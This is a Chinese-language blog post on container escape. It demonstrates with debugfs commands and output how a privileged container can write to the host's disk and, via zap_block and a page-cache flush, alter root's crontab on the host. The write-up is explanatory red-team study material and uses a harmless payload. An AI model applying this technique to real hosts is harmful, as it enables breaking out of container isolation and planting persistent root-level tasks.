debugfs在容器逃逸中的作用

19 JUN 2021

0x00 前言

红蓝对抗中的云原生漏洞挖掘及利用实录中提到，在特权容器、`sys_admin`、`lxcfs`场景下，我们可以通过创建`cgroup devices subsystem`,修改`devices.allow`设置设备的访问权限，创建设备文件目录，并通过debugfs去访问宿主机的文件，达到逃逸的目的；由于`debugfs`不支持很多常用`linux`的命令，如`cp、echo`等，我们不能很方便的写文件到宿主机，虽然实战中我们可以通过cat命令去读取k8s的配置文件，但是如果需要写文件到宿主机，这时候该怎么办呢?

0x01 什么是debugfs

- debugfs - ext2/ext3/ext4 file system debugger

debugfs主要用来对ext2/ext3/ext4文件系统进行调试，可以用来恢复文件，更多使用参考

0x02 debugfs中的write和zap_block

`debugfs`的`write`和`zap_block`命令可以写入文件，我们分别来介绍它们。

write:

```
write source_file out_file
    Copy the contents of source_file into a newly-
```

```
created file in the filesystem named out_file.
```

通过`write`命令我们可以将容器中的文件复制到宿主机中。

演示:

实验环境：特权ubuntu容器

```
#在容器的bash中
root@4da29cbf878a:/tmp$ echo test > /tmp/testfile.txt
debugfs -w /dev/sda1 #读写模式打开/dev/sda1
debugfs 1.45.5 (07-Jan-2020)
debugfs:  cd /tmp
debugfs:  write /tmp/testfile.txt testfile-host.txt #将容器中的/tmp/testfile.txt文件复制到宿主机的tmp目录中
Allocated inode: 787881
debugfs:  cat testfile-host.txt #读取复制的文件成功
test

#回到宿主机
ubuntu1@123:/tmp$ ls -l testfile-host.txt
-rw-r--r-- 1 root root 5 Jun 17 10:44 testfile-host.txt
```

可以看到，这里是可以读取的，并且文件是正常没有损坏的；如果我们写入一个计划任务，可能就不行了

```
root@4da29cbf878a:/tmp$ echo '* * * * * echo test1 >> /tmp/testfile1.txt' > root
root@4da29cbf878a:/tmp$ debugfs -w /dev/dm-0
debugfs 1.45.5 (07-Jan-2020)
debugfs:  cd /var/spool/cron/crontabs
debugfs:  write /tmp/root root
Allocated inode: 135695
debugfs:
```

```
#回到宿主机
ubuntu1@123:/tmp$ sudo ls -l /var/spool/cron/crontabs/
ls: cannot access '/var/spool/cron/crontabs/root': No
such file or directory
total 0
-????????? ? ? ? ?            ? root
```

可以看到，此时的文件是有问题的，这样是不能执行计划任务的,通过查阅资料https://www.intezer.com/blog/cloud-security/royal-flush-privilege-escalation-vulnerability-in-azure-functions/
文章中提到

```
Unfortunately, due to the same constraint we explained
with the write cache,
changes to /dev/sda5 would not propagate to the view of
the /etc/passwd file
until its cached pages are discarded. Meaning, we were
only able to overwrite
files that were not recently loaded from disk to memory,
or otherwise wait
for a system restart for our changes to apply.
```

由于`crontabs`目录下的文件会不停的从磁盘中加载到内存，我们写的文件是有缓存的，只有等到重启才能够成功，然而实战情况不可能让你重启系统，所以如果使用write去复制文件到宿主机，不能够操作类似于计划任务这种不间断需要从磁盘加载到内存的文件。
接着学习前面的文章：

```
This hard link still requires root permissions to edit,
so we still had to use zap_block
to edit its content. We then used posix_fadvise to
```

```
instruct the kernel to
discard pages from the read cache (flush them, hence the
name of the technique),
inspired by a project named pagecache management
(source: fadv.c slightly edited by us).
This caused the kernel to load our changes and we were
finally able to propagate them to the Docker host
filesystem:
```

文中提到了通过`zap_block`去修改文件，再通过`ln`将修改成功的宿主机文件链接到容器中`upperdir`目录下，再通过`posix_fadvise`从缓存中丢弃，这样就能够避免缓存的影响:

```
root@1fae4e0f04c8:/tmp$ debugfs -w /dev/dm-0
debugfs 1.45.5 (07-Jan-2020)
debugfs:  blocks /var/spool/cron/crontabs/root #获取文件的blocks
2694190
debugfs:  zap_block -o 15 -l 3 -p 0x41 2694190 #将ascii值为41的字符写入到第15个位置，向后替换3位
debugfs:  ln /var/spool/cron/crontabs/root
/var/lib/docker/overlay2/fb877e934027ebf552cffe9e7cac5b84512c575c75f5008c3f58ccc277e7c62f/diff/tmp/
debugfs:  q
root@1fae4e0f04c8:/tmp$ ./fav root  #丢弃数据，避免缓存影响
```

这里我们通过`zap_block`修改了blocks为2694190的文件，也就是我们的/var/spool/cron/crontabs/root文件，从15位开始，向后3个长度，替换为ASCII值为41的字符A。修改完了之后再通过posix_fadvise，立即从`page cache`中丢弃数据，这样就不会有页面缓存的问题，编译的fav文件参考 https://github.com/tsarpaul/pagecache-management/blob/master/fadv.c
这时我们返回宿主机，查看root用户的计划任务:

```
ubuntu1@123:~$ sudo cat /var/spool/cron/crontabs/root
* * * * * echo AAAt >> /tmp/root1.txt
```

可以看到，已经成功写入并不受缓存影响。

0x03 参考

- https://security.tencent.com/index.php/blog/msg/183
- https://github.com/tsarpaul/pagecache-management/blob/master/fadv.c
- https://www.intezer.com/blog/cloud-security/royal-flush-privilege-escalation-vulnerability-in-azure-functions/
- https://man.archlinux.org/man/debugfs.8.en

Fun0nydg

兴趣是最好的老师